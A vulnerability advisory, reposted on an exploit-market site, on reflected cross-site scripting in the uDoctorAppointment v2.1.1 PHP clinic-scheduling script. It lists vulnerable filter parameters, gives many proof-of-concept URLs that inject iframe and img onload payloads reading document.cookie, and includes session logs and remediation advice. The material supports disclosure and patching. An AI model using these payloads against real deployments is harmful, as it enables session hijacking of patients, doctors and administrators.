[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

uDoctorAppointment v2.1.1 - (Multiple) Cross Site Scripting Vulnerability

Author
bot
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-37252
Category
web applications
Date add
19-01-2022
Platform
php
# Exploit Title: uDoctorAppointment v2.1.1 - 'Multiple' Cross Site Scripting (XSS)

Document Title:
===============
uDoctorAppointment v2.1.1 - Multiple XSS Vulnerabilities


Product & Service Introduction:
===============================
Clinic management, doctor or therapist online medical appointment scheduling system for the management of health care.
uDoctorAppointment script allows doctors to register and appropriate membership plan with different features.
Patients can view doctor profiles before booking appointments. The site administrator or doctor may create and
manage advanced schedules, create working time slots for each day of the week, define time off etc.

(Copy of the Homepage:https://www.apphp.com/codemarket/items/1/udoctorappointment-php-script )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple non-persistent cross site web vulnerabilities in the uDoctorAppointment script web-application.


Affected Product(s):
====================
ApPHP
Product: uDoctorAppointment v2.1.1 - Health Care Script (PHP) (Web-Application)
Product: ApPHP MVC Framework v1.1.5 (Framework)


Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-09-10: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-12-15: Public Disclosure (Vulnerability Laboratory)


Technical Details & Description:
================================
Multiple non-persistent cross site vulnerabilities has been discovered in the official uDoctorAppointment v2.1.1 script web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser
to web-application requests from the client-side.

The cross site security web vulnerabilities are located in the `created_at`, `created_date` and `sent_at` parameters of the `filter` web module.
The injection point is located in the parameters and the execution occurs in the filter module. The request method to inject the malicious script
code is GET and the attack vector of the vulnerability is non-persistent on client-side.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./doctorReviews/doctorReviews
[+] ./orders/orders
[+] /mailingLog/manage
[+] /orders/doctorsManage
[+] /news/manage
[+] /newsSubscribers/manage
[+] /doctorReviews/manage/status/approved
[+] /appointments/manage

Vulnerable Parameter(s):
[+] created_at
[+] created_date
[+] sent_at
[+] appointment_date

Affected Module(s):
[+] Filter


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


Exploitation: Payload
">%20<img%20src="evil.source"%20onload=alert(document.domain)></img>


Role: Patient (Frontend - created_at)
https://doctor-appointment.localhost:8080/doctorReviews/doctorReviews?patient_name=test&created_at=2021-09-08&but_filter=Filter
-
https://doctor-appointment.localhost:8080/doctorReviews/doctorReviews?patient_name=test&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter


Role: Doctor (Frontend - created_date)
https://doctor-appointment.localhost:8080/orders/orders?order_number=test&created_date=2021-09-08&status=2&but_filter=Filter
-
https://doctor-appointment.localhost:8080/orders/orders?order_number=test&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&status=2&but_filter=Filter


Role: Admin (Backend -
https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=test1&email_content=test2&email_from=test3&email_to=test4&sent_at=2021-09-01&status=0&but_filter=Filter
https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=2021-09-01&doctor_id=1&status=1&but_filter=Filter
https://doctor-appointment.localhost:8080/news/manage?news_header=test1&created_at=2021-09-01&but_filter=Filter
https://doctor-appointment.localhost:8080/newsSubscribers/manage?first_name=test1&last_name=test2&email=test%40aol.com&created_at=2021-09-01&but_filter=Filter
https://doctor-appointment.localhost:8080/doctorReviews/manage/status/approved?doctor_first_name%2Cdoctor_last_name=test1&patient_name=test2&created_at=2021-09-01&but_filter=Filter
https://doctor-appointment.localhost:8080/appointments/manage?appointment_number=test1&patient_first_name%2Cpatient_last_name=test2&doctor_first_name%2Cdoctor_last_name=test3&appointment_date=2021-09-01&but_filter=Filter
https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=2021-09-01&doctor_id=1&status=1&but_filter=Filter
-
https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=test1&email_content=test2&email_from=test3&email_to=test4&sent_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&status=0&but_filter=Filter
https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&doctor_id=1&status=1&but_filter=Filter
https://doctor-appointment.localhost:8080/news/manage?news_header=test1&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
https://doctor-appointment.localhost:8080/newsSubscribers/manage?first_name=test1&last_name=test2&email=test%40aol.com&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
https://doctor-appointment.localhost:8080/doctorReviews/manage/status/approved?doctor_first_name%2Cdoctor_last_name=test1&patient_name=test2&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
https://doctor-appointment.localhost:8080/appointments/manage?appointment_number=test1&patient_first_name%2Cpatient_last_name=test2&doctor_first_name%2Cdoctor_last_name=test3&appointment_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&doctor_id=1&status=1&but_filter=Filter


Vulnerable Source: ./mailingLog
<div class="filtering-wrapper">
<form id="frmFilterMailingLog" action="mailingLog/manage" method="get">
Subject: <input id="email_subject" style="width:140px;" maxlength="125" type="text" value="a" name="email_subject">
Content: <input id="email_content" style="width:140px;" maxlength="125" type="text" value="b" name="email_content">
From: <input id="email_from" style="width:130px;" maxlength="125" type="text" value="c" name="email_from">
To: <input id="email_to" style="width:130px;" maxlength="125" type="text" value="d" name="email_to">
Date Sent: <input id="sent_at" maxlength="255" style="width:80px;"
type="text" value=">" <img="" src="evil.source" onload="alert(document.cookie)" [MALICIOUS EXECUTABLE SCRIPT CODE PAYLOAD!] class="hasDatepicker">
<img class="ui-datepicker-trigger" src="assets/vendors/jquery/images/calendar.png" alt="..." title="...">
" name="sent_at" />Status: <select id="status" style="width: 90px; padding: 10px; display: none;" name="status" class="chosen-select-filter">
<option value="" selected="selected">--</option>
<option value="0">Not Sent</option>
<option value="1">Sent</option>
</select><div class="chosen-container chosen-container-single chosen-container-single-nosearch" style="width: 90px;" title="" id="status_chosen">
<a class="chosen-single" tabindex="-1"><span>--</span><div><b></b></div></a><div class="chosen-drop"><div class="chosen-search">
<input type="text" autocomplete="off" readonly="" maxlength="255"></div><ul class="chosen-results"></ul></div></div>&nbps;
<div class="buttons-wrapper">
<input name="" class="button white" onclick="jQuery(location).attr('href','https://doctor-appointment.localhost:8080/mailingLog/manage');" type="button" value="Cancel">
<input name="but_filter" type="submit" value="Filter">
</div></form></div>


--- PoC Session Logs (GET) ---
https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=a&email_content=b&email_from=c&email_to=d&sent_at=>"<img+src%3D"evil.source"+onload%3Dalert(document.cookie)>++&status=&but_filter=Filter
Host: doctor-appointment.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie: isOpened=menu-04; apphp_9tmmw0krko=g2234alc8h8ks3ms2nsbp4tsa9
-
GET: HTTP/1.1 200 OK
Server: Apache
Content-Length: 2914
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8


Reference(s):
https://doctor-appointment.localhost:8080/
https://doctor-appointment.localhost:8080/mailingLog/
https://doctor-appointment.localhost:8080/news/manage
https://doctor-appointment.localhost:8080/order/manage
https://doctor-appointment.localhost:8080/mailingLog/manage
https://doctor-appointment.localhost:8080/appointments/manage
https://doctor-appointment.localhost:8080/orders/doctorsManage
https://doctor-appointment.localhost:8080/newsSubscribers/manage


Solution - Fix & Patch:
=======================
The vulnerability can be resolved by a filter or secure encode of the vulnerable created_date, appointment_date, sent_at and create_at parameters.
Disallow the usage of special chars in the affected parameters on get method requests.
Sansitize the vulnerable output location to resolve the point of execution in the filter module.


#  0day.today [2024-09-29]  #